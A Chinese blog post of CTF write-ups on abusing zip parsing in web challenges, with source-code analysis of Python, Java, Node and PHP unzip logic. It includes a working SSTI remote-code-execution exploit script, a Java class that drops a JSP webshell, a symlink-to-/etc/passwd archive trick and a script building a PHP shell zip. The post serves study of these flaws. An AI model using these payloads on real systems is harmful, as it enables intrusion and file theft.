这篇文章发表于 707 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

经常能够看到zip文件在web方向的一些应用,总能给人带来各种惊喜,小编今天就给大家来盘点一下zip文件奇奇怪怪的利用或者说是处理的方式(垃圾营销号式开头。

所以是怎么回事呢?啊对对对就是这么一回事。

1linephp - 0ctf2021

这个题目取自非常经典的文件包含题。

1
2
 <?php
($_=@$_GET['yxxx'].'.php') && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__) && include('phpinfo.html');

这题和HITCON2018 One Line PHP的唯一区别就在于其后缀必须是.php的文件才能够实现包含。看了下php配置文件,发现session.upload_progress.enabled选项是On的状态,估计可以通过一些手法将某个文件传到web服务器里面的/tmp目录下,条件竞争肯定是有的。问题就在于传什么样的文件。

这里需要传一个构造过的zip包,然后令yxxx=zip:///tmp/sess_evil#1这样,让后续的代码能够include它。但显然通过session.upload_progress搞上去的文件最开始的字符串内容是upload_progress_,所以必须想办法绕过@substr(file($_)[0],0,6) === '@<?php'的判断。

1.png

根据上图,我们不难发现End of Central Directory里面有一个offset of start of central,左下的示意图说明程序处理zip文件的时候首先从这个文件末尾出发,根据偏移找到哦啊Central Directory的头位置,然后再根据relative offset of local header找到整个zip文件头的位置,也就指向local file header signature

这里的解决办法就是修改这两个offset,这样zip协议能够跳开前面几个字符找到正确的位置。另外,CRC的值我们也不必进行修改,因为这里的crc-32其实是根据crc前面的相关信息计算出来的结果。因为最开始的字符串内容是upload_progress_,其长度为16,因此这两个offset(从010editor来看就是elDirectoryOffsetdeHeaderOffset)都要加上16。

miniblog# - zer0pts2022

由于网上没有较为详细的wp,所以这里顺带写一份。在这之前还有道miniblog++,可以看下这篇文章

根据miniblog++所体现的思路,这里应该也是SSTI RCE,但是这里的过滤比较严格,所以想写入相关的payload就必须通过zip压缩包的解压。

解题思路

就直接说解题思路了吧:首先注册一个用户A,通过flask-unsign将相关的信息从flask的cookie中解密出来,利用这些信息构造一个zip包(这个zip包只需要保证其中所有的字符都小于0x7f,0x7f是因为flask的HTTP请求只能发送Unicode),再注册一个用户B,其用户名就是该zip包的内容,使用用户B的身份直接从网站导出backup.db,最后使用用户A的身份将backup.db导入,即成功。

这里给出exp,可能不是很理解,请自行结合题目好好看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import re, os, json, sys
import requests
import binascii
import zipfile

cmd = "id"
url = 'http://127.0.0.1:5000/'
sess = requests.Session()

r = sess.post(url=url + 'api/login', json={"username": "qwer", "password": "1234"})
cookie = re.findall(r'session=(.*);', r.headers['Set-Cookie'])[0]
ret = os.popen(f"flask-unsign --decode --cookie '{cookie}'")
text = ret.read()
ret.close()
infos = json.loads(text.replace("\'", "\""))

workdir, username, passhash = infos['workdir'], infos['username'], infos['passhash']
print(f"[+] We now got workdir: {workdir}, passhash: {passhash}, username: {username}")


def generate_payload(cmd):
data = {}
test_payload = "P" * 100 + "{{config.__class__.__init__.__globals__['os'].popen('" + cmd + "').read()}}"
valid = False
while not valid:
data = {
"title": "exploit",
"id": "exploit",
"date": "2022/3/26 19:42:30",
"author": "qwer",
"content": test_payload
}
ret = binascii.crc32(json.dumps(data).encode('utf8')) & 0xffffffff
barr = bytearray.fromhex(hex(ret)[2:].rjust(8, '0'))
for i in barr:
if i > 0x7f:
test_payload += 'A'
break
elif barr.index(i) == len(barr) - 1:
valid = True
return json.dumps(data)


print('[*] Cracking the CRC32...')
payload = generate_payload(cmd)
print(f'[+] Now we got the payload: {payload}')

# Create a malicious zip comment
# 简单查看一下后发现需要修改时间戳 frFileTime 为 \x00\x00, frCompressedSize、frUncompressedSize 和 deExternalAttributes 必须小于128
# frFileTime - date_time
# deExternalAttributes - external_attr ( https://stackoverflow.com/questions/434641/how-do-i-set-permissions-attributes-on-a-file-in-a-zip-file-using-pythons-zip )
# frCompressedSize、frUncompressedSize 只要加垃圾字符填充到不会出问题即可
with zipfile.ZipFile("exploit.zip", "w", zipfile.ZIP_STORED, compresslevel=0) as z:
filename = f"post/{workdir}/exploit.json"
info = zipfile.ZipInfo(filename=filename, date_time=(1980, 0, 0, 0, 0, 0))
info.external_attr = 0o464 << 16
z.writestr(info, payload)
z.comment = f'SIGNATURE:{username}:{passhash}'.encode()

with open('exploit.zip', 'rb') as f:
evil_data = f.read()
for i in bytearray(evil_data):
if i > 0x7f:
print(i)
sys.exit("[!] char greater than 0x7f is in the zip!")
print('[+] evil zip file has been checked!')

print('[*] Create a new session to export the file.')
sess2 = requests.Session()
sess2.post(url=url + 'api/login', json={"username": evil_data.decode('utf-8'), "password": "1234"})
r = sess2.get(url=url + 'api/export')
exported_zip = json.loads(r.text)['export']
print(exported_zip)
print('[+] Now we get the exported file.')

print(f'[!] Try to execute the cmd: {cmd}')
sess.post(url=url + 'api/import', json={'import': exported_zip})
r = sess.get(url=url+'post/exploit')
print(r.text)

这里用户B主要是为了对抗题目中的加密,但用户名就是该zip包的内容意味着在题目端加密前所生成的zip包其实是错误的(因为它相较于正常的包,其开头部分多出了PK...SIGNATURE:,末尾部分一定多出了B用户的密码hash),但这个错误的包竟然会被无误地解压!我一直以为自己构造的zip还需要修改offset这些,结果根本不用。

源代码分析

这是为什么呢?这里就要对zipfile进行简单的调试来看看其逻辑,以下摘出重要代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
def _RealGetContents(self):
"""Read in the table of contents for the ZIP file."""
fp = self.fp
try:
endrec = _EndRecData(fp) ### endrec = [b'PK\x05\x06', 0, 0, 1, 1, 96, 352, 47, b'SIGNATURE:qwer:81dc9bdb52d04dc20036dbd8313ed055', 480]
except OSError:
raise BadZipFile("File is not a zip file")
... ...
size_cd = endrec[_ECD_SIZE] # bytes in central directory
offset_cd = endrec[_ECD_OFFSET] # offset of central directory
self._comment = endrec[_ECD_COMMENT] # archive comment
# "concat" is zero, unless zip was concatenated to another file
concat = endrec[_ECD_LOCATION] - size_cd - offset_cd ### 32

从上面的代码来看,解析zip包会先找到End of Central Directory,也就会先寻找'PK\x05\x06'字符串,然后再一块块处理。以上的zipfile代码很快会被执行,里面的endrec变量和concat变量非常有趣,这两个变量帮我们剔除了开头和结尾多出的部分内容:

  • 对于concat变量而言,它的计算是ECD的开头位置减去CD的偏移和CD的大小,由此可计算出开头部分的多余量为480-352-96=32。这说明什么问题?我们可以在开头随便加东西,除了'PK\x05\x06'字符串!
  • 如果您跟进了_EndRecData函数,就会发现它找末尾的签名是先找到End of Central Directory开头,之后根据在ECD中找到的elCommentLength(010editor里面是这样写的)从前往后将signature提取出来,所以后面的内容就被忽略掉了。这说明什么问题?我们可以在末尾随便加东西!

可见python3对zip处理的逻辑非常有意思,但当然不止python。貌似绝大多数语言都是这样处理的,也许在定义中zip文件的前面和后面存在一些内容是合法的?

Desperate cat - rwctf2022

这道题很有趣。除了官方writeup外,这篇文章也是非常不错的,主要来看看涉及到jar包上传的解法。jar包、war包其实都是zip文件。

触发jar包中遇到的问题

先提一下复现中遇到的问题吧。我这里以EL配合StringInterpreter触发类实例化方法为例构造jar包。在测试jar包的时候,我参考这篇文章,使用如下的java代码进行编译打包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import org.apache.jasper.compiler.StringInterpreter;
import org.apache.jasper.compiler.StringInterpreterFactory;

import java.io.FileOutputStream;

public class Exploit implements StringInterpreter {
private static final String paddingData = "{PADDING_DATA}";

// 要执行的代码
//public static void main(String[] args) throws Exception {
public Exploit() throws Exception {
String shell = "<%out.println(\"Exploitd\");%>";
FileOutputStream fos = new FileOutputStream("/tmp/shell.jsp");
fos.write(shell.getBytes());
fos.close();
}

// 防止后续tomcat编译jsp报错
@Override
public String convertString(Class<?> c, String s, String attrName, Class<?> propEditorClass, boolean isNamedAttribute) {
return new StringInterpreterFactory.DefaultStringInterpreter().convertString(c,s,attrName,propEditorClass,isNamedAttribute);
}

public static void main(String[] args) throws Exception {
new Exploit();
}
}

需要先调试这个jar包能否触发。按照wp的操作,若tomcat成功对这个放在WEB-INF/lib文件夹下的jar包reload的话(注:该文章可能对reload相关的调试有好处),我们就可以通过Class.forname("Exploit")在ideaj调试窗口的小计算器那里搜索到相关信息。然后就是要触发它,在wp中我们知道最后是newInstance那里导致恶意方法被执行,但newInstance并不会执行main方法,不过会执行构造方法(也就是和class类重名的Exploit方法)。上面的代码为方便直接通过java -cp Exploit.jar Exploit进行测试,所以才这样写的。

源代码分析

构造jar包这里不多说了,直接参考这个项目即可。构造方法和一般zip包貌似有点点区别。

我们需要知道这里为什么java处理jar包的时候也会忽略前后填充上去的垃圾字符,很快就能够断定主要代码并不在tomcat的源码里面,而是在java.util.jar.JarFilejava.util.zip.ZipFile里面。可以查看openjdk的项目,找到\src\java.base\share\classes\java\util\jar\JarFile.java里面800多行的位置,里面都是对jar包的处理,很快就能发现这些都不是重点,需要到ZipFile.java中进行探索。

很快就会发现,这里依旧是对zip文件的central directory进行初始化为先,该操作中最先进行的便是findEND方法,也就是寻找end of central directory。其实也是根据那个(byte)'\005'(byte)'\006'找到这部分的信息,之后同样地,我们可以发现这段代码:

1
2
3
4
long cenpos = end.endpos - end.cenlen;     // position of CEN table
// Get position of first local file (LOC) header, taking into
// account that there may be a stub prefixed to the zip file.
locpos = cenpos - end.cenoff;

这里计算的就是zip包起始的位置,思考过后就发现它已经考虑了偏移!和python那里的处理思路一模一样。

于是我也看了下nodejs里面的adm-zip包对zip的处理方式,很快找到了readMainHeader函数,尽管逻辑有些许差别,但其实也可以达成相同的效果!基本说明这样的处理方式基本是默认或者明摆着的要求了!但测试一下发现像上面这样构造出来的jar包并不能成功解压(要改下offset吧可能),而miniblog#利用到的zip包能成功解压。

Symple Unzipper - justctf2022

这道题其实可以简化一下,代码如下。要求解压出来的文件依然是软链接。

1
2
3
4
5
6
from zipfile import is_zipfile
from patoolib import extract_archive

file_to_extract = "p.zip"
if is_zipfile(file_to_extract):
extract_archive(str(file_to_extract), outdir='output')

您可以尝试一下,若是通过ln -s /etc/passwd pass && zip -ry p.zip pass && rm pass这样的命令(其中的y参数是保持软链接),测试后发现解压出来的pass文件中只有/etc/passwd字符串,并不是软链接。

但是可以看到那个解压命令是extract_archive,因此如果是其他的文件类型,也是可以被解压的。经过测试,我们很快就能发现ln -s /etc/passwd pass && tar -cvf p.tar pass && rm pass能够成功地经过该代码解压之后依旧保持着软链接的状态! 另外,如果需要保证文件所属身份一致的话,可以将创建tar文件的命令更为tar --owner=root --group=root -cvf p.tar pass

因此我们现在有个思路,就是把这个软链接用tar压缩,随后做些修改,让这个tar文件能够通过is_zipfile检测。

当然可以使用这个项目直接试试(有人就是这样做出来的),不过您也可以尝试先研究下is_zipfile函数到底都干了写什么。

1
2
3
4
5
def _check_zipfile(fp):
try:
if _EndRecData(fp):
return True # file has correct magic number
...

很快就能进一步锁定_EndRecData函数,结合里面的注释和以上代码,我们不难想到,这段代码的意图是根据该文件End of Central Directory的存在性判断这个文件是否为zip文件。如果您已经理解了之前的内容,我想这检测代码您甚至都能自己随手写而且比它更好 XD

所以这题很简单,只要在那个带软链接的tar文件最后加上50 4B 05 06 00 00 00 00 01 00 01 00 4A 00 00 00 49 00 00 00 00 00(其实就是随便某个zip文件的End of Central Directory,已经过HEX编码)的字符串即可。

finecms解压缩上传漏洞

这个来源于P神的这篇文章中的第三个例子,他通过修改zip包实现了让zip解压会报错但恶意文件能被成功解压出来。可是那篇文章并没有描述为什么这样修改可以实现攻击,所以这里填个坑。我们来编译调试一下源代码。

php-src编译调试

不同版本的PHP似乎安装zip拓展的命令行和方式都会有所不同(而且官方文档似乎没更新好),这里随便举个例子。

首先是安装libzip拓展,然后可以先对其进行编译安装(其实这里没必要编译安装,直接sudo apt install libzip-dev应该也是可以的):

1
2
3
mkdir build && cd build
./configure --prefix=/home/ucasz/php8/libzip
make && make install

在其编译安装完成后进行php源代码的编译安装,比如我是这样的:

1
2
3
4
5
6
sudo apt install -y pkg-config build-essential autoconf bison re2c \
libxml2-dev libsqlite3-dev
./buildconf
export PKG_CONFIG_PATH=/home/ucasz/php8/libzip/lib/pkgconfig
./configure --with-zip --enable-debug --prefix=/home/ucasz/php8
make -j4 && make install

接着用Clion打开这个文件夹,简单配置下。其中调试选项如下图配置:

1.png

源代码分析

很快我们就能够定位到ext/zip/php_zip.c这个关键文件,其中的PHP_METHOD(ZipArchive, extractTo)就是最先进入的、用来解压的函数。其中非常关键的逻辑如下:

1
2
3
4
5
6
for (i = 0; i < filecount; i++) {
char *file = (char*)zip_get_name(intern, i, ZIP_FL_UNCHANGED);
if (!file || !php_zip_extract_file(intern, pathto, file, strlen(file))) {
RETURN_FALSE;
}
}

这里根据zip里面压缩着的文件一个个解压,只要执行过php_zip_extract_file函数,相应的文件夹之下就会出现那个对应的文件。也就是说如果zip包里面第一个文件能被解压但是第二个文件有错误的话,整个命令的的执行会报错但第一个文件在报错前已经被写下来了。

这里让它报错的办法可以是利用010Editor修改第二个文件的deFileName为多个/,其调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
_php_stream_fopen plain_wrapper.c:1094
php_plain_files_stream_opener plain_wrapper.c:1200
_php_stream_open_wrapper_ex streams.c:2080
php_zip_extract_file php_zip.c:238
zim_ZipArchive_extractTo php_zip.c:2793
ZEND_DO_FCALL_SPEC_RETVAL_USED_HANDLER zend_vm_execute.h:1870
execute_ex zend_vm_execute.h:55436
zend_execute zend_vm_execute.h:59771
zend_execute_scripts zend.c:1759
php_execute_script main.c:2538
do_cli php_cli.c:965
main php_cli.c:1367
__libc_start_main 0x00007f39c08f2083
_start 0x000055f6ce202e9e

最终触发的错误是_php_stream_fopen函数中的fd = open(realpath, open_flags, 0666);语句报错(其中的realpath指向不存在的地方)。

如果您看过源码,会发现还有其他办法,比如可以对zip里面的文件名长度做些文章(只要长度超过4096即可),就像如下脚本这样构造:

1
2
3
4
5
6
7
8
9
10
import zipfile
import io

mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
zf.writestr('1.php', b'@<?php phpinfo();?>')
zf.writestr('A'*5000, b'AAAAA')

with open("shell.zip", "wb") as f:
f.write(mf.getvalue())